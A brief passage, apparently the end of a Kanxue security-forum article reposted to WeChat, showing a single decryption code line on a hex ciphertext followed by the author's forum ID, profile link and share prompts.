"d0edd4a1620f6f01db93699e7291bc570b7d8cdd4fa0a69a0839ca4b86a7bd8daacd74313e64da169697af402033a761" pt = decrypt(unhexlify(ct_hex), key) print(pt.decode())
看雪ID:Fulucky0
https://bbs.kanxue.com/user-home-1063723.htm

# 往期推荐


球分享

球点赞

球在看

点击阅读原文查看更多
夜雨聆风